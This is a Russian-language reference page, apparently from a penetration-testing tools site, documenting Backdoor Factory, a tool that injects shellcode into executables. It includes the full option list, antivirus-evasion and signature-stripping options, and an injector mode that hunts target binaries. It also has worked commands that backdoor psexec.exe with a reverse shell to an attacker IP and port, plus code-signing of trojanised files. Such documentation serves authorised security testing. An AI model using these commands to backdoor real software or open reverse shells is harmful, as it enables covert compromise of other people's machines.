You are here: Home » Инструменты эксплуатации » Backdoor Factory (BDF)

Backdoor Factory (BDF)

Описание Backdoor Factory

Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.

Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.

Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).

Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.

Особенности:

PE файлы

  • Может найти codecaves в EXE/DLL.
  • По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
  • Может сделать инжект шеллкода внутрь code caves или в новую секцию.
  • Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
  • При выборе code caves, вы можете использовать следующие команды:
  •   -Jump (j), для прыжка code cave
  •   -Single (s), для патчинга всего вашего шеллкода в одну code cave
  •   -Append (a), для создания code cave
  •   -Ignore (i или q), игнорировать этот бинарник
  • Может игнорировать DLLs
  • Импорт таблицы парчинга
  • AutoPatching (-m automtic)
  • Onionduke (-m onionduke)

ELF файлы

  • Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.

Mach-O файлы

  • Патчинг Pre-Text Section и удаление подписи

В общем и целом

Пользователь может:

  • Предоставить пользовательский шеллкод.
  • Патчить директорию исполнимых файлов/dll.
  • Выбрать для патча только исполнимые файлы x32 или x64.
  • Включить BDF в другие проекты на Python, смотрите pebin.py и elfbin.py

Домашняя страница: https://github.com/secretsquirrel/the-backdoor-factory

Автор: Joshua Pitts

Лицензия: GPLv3

Справка по Backdoor Factory

Использование:

backdoor.py [опции]
Опции:
  -h, --help            показать справку и выйти
  -f ФАЙЛ, --file=ФАЙЛ  ФАЙЛ для бэкдора
  -s ШЕЛЛ, --shell=ШЕЛЛ
                        Полезные нагрузки, доступные для использования. 
                        Используйте 'show' для просмотра полезных нагрузок.
  -H ХОСТ, --hostip=ХОСТ
                        IP от C2 для обратного подключения.
  -P ПОРТ, --port=ПОРТ  Это порт как для обратного подключения в 
                        обратном шелле, так и для прослушивания на связанном шелле
  -J, --cave_jumping    Выберите эту опцию, если вы хотите использовать code cave
                        jumping для дальнейшего скрытия шеллкода в бинарнике.
  -a, --add_new_section
                        Указание добавлять новую секцию в exe
                        (лучший успех) но меньше шансов избежать антивирусы
  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
                        Переданный пользователем шеллкод, убедитесь, что
                        соответствует архитектуре цели.
  -c, --cave            Флаг cave найдёт code caves, которые могут использоваться
                        для припрятывания шеллкода. Это выведет все
                        code caves указанного размера. 
                        С этой настройкой можно использовать флаг -l.
  -l SHELL_LEN, --shell_length=SHELL_LEN
                        Для использования с -c в помощи поиска code caves 
                        различных размеров
  -o ВЫВОД, --output-file=ВЫВОД
                        Файл выводао для бэкдора
  -n NSECTION, --section=NSECTION
                        Имя новой специи, должно быть менее семи символов
  -d ДИРЕКТОРИЯ, --directory=ДИРЕКТОРИЯ
                        Это расположение файлов, которые вы хотите
                        забэкдорить. Вы можете ускорить внедрение бэкдоров
                        принудительным вложением codecave в
                        exe используя настройку -a.
  -w, --change_access   Этот флаг меняет раздел, где находится codecave
                        на RWE. Иногда это необходимо. По умолчанию включено.
                        Если отключить, то backdoor может потерпеть неудачу.
  -i, --injector        Эта команда включает вbackdoor factory механизм
                        охоты и бэкдора (Hunt and backdoor: Injector). 
                        Отредактируйте настройки цели в модуле инжектора.
  -u СУФФИКС, --suffix=СУФФИКС
                        Для использования с инжектором, добавить суффикс к 
                        оригинальному имени файла для простого восстановления
  -D, --delete_original
                        Для использования с модулем инжектора.  Эта команда удаляет 
                        оригинальный файл.  Не для использования в рабочих системах.
                        *Автор не несёт ответственности за тупое использование.*
  -O DISK_OFFSET, --disk_offset=DISK_OFFSET
                        Начальная точка дискового смещения. Некоторые авторы
                        обфусцируют дисковым смещением для избегания 
                        обратной инженерии, если вы нашли один из этих файлов,
                        то используйте этот флаг после нахождения смещения.
  -S, --support_check   Определить, поддерживается ли файл BDF до
                        бэкдоринга файла. Используйте как есть или в вербальном
                        режиме. Эта проверка проводится автоматически при
                        попытке встроить в файл бэкдор.
  -M, --cave-miner      Будущее использование, для определения самого
                        маленького шеллкода, возможного в файле PE 
  -q, --no_banner       Убивает банер.
  -v, --verbose         Для вывода отладочной информации.
  -T IMAGE_TYPE, --image-type=IMAGE_TYPE
                        ALL, x86, или x64 (тип исполнимых файлов). По умолчанию=ALL
  -Z, --zero_cert       Разрешает перезапись указателя на PE
                        таблицу сертификатов, эффективно удаляя сертификат
                        из двоичного файла для всех намерений и целей
  -R, --runas_admin     ЭКСПЕРИМЕНТАЛЬНАЯ Проверяет бинарники PE 
                        на 'requestedExecutionLevel level="highestAvailable"'. Если
                        эта строка включена в бинарник, то он должен запускаться от
                        системы/админа. Если не в режиме Support Check mode
                        то будет сделана попытка проптчить highestAvailable в manifest 
                        если существует запись requestedExecutionLevel.
  -L, --patch_dll       Используйте эту настройку если вы НЕ хотите патчить DLL.
                        По умолчанию они патчатся.
  -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
                        Для формата MACH-O. Если fat файл, фокус на какую архитектуру
                        патч. По умолчанию это x64. Для принудительного x86 используйте -F x86, 
                        для принудительного выбора обеих архитектур используйте -F ALL.
  -B BEACON, --beacon=BEACON
                        Для полезных нагрузок с функцией прозвона, 
                        установить время в секундах
  -m PATCH_METHOD, --patch-method=PATCH_METHOD
                        Метод патча для файлов PE, 'manual','automatic',
                        replace и onionduke
  -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
                        Для onionduke. Укажите ваш желаемый бинарник.
  -X, --xp_mode         По умолчанию: НЕ поддерживать устаревшие 
                        машины XP, используйте -X для поддержки XP. По 
                        умолчанию бинарники будут останавливаться на XP
                         машинах (например, песочницы)
  -A, --idt_in_cave     ЭКСПЕРИМЕНТАЛЬНАЯ По умолчанию новый Import Directory Table
                        создаётся в новой секции, вызвав этот флаг
                        он будет размещён в code cave.  Это может привести к вылету
                        исполнимого файла в некоторых обстоятельствах. Сперва протестируйте на целевых бинарников.
  -C, --code_sign       Только для тех, кто с сертификатами для подписи кода хочет подписать PE
                        исполнимые файлы. Укажите ваш ключ подписи и 
                        приватный ключ, signingcert.cer и signingPrivateKey.pem 
                        соответственно в директории сертификатов, получение 
                        подписных сертификатов это ваша проблема.

Руководство по Backdoor Factory

Страница man отсутствует.

Примеры запуска Backdoor Factory

Патчить exe/dll используя существующий code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Патчить exe/dll добавлением новой секции кода:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Патчить директорию с exe:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...вывод слишком длинный для этой страницы...

Указанный пользователь шеллкод:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

PEcodeSigning

BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):

echo -n yourpassword > certs/passFile.txt

Назовите ваши сертификаты в ТОЧНОСТИ как показано:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Ваша директория certs/ должна в точности выглядеть так:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Включите подписывание кода PE флагом -C так:

./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

При успешном запуске вы должны в выводе BDF увидеть следующую строку:

[*] Code Signing Succeeded

Hunt и backdoor: Injector | Только для Windows

Модуль injector будет искать на диске целевые бинарники для бэкдора.  Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.

Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

Установка Backdoor Factory

Программа предустановлена в Kali Linux.

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Backdoor Factory

Это утилита командной строки.

Инструкции по Backdoor Factory

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: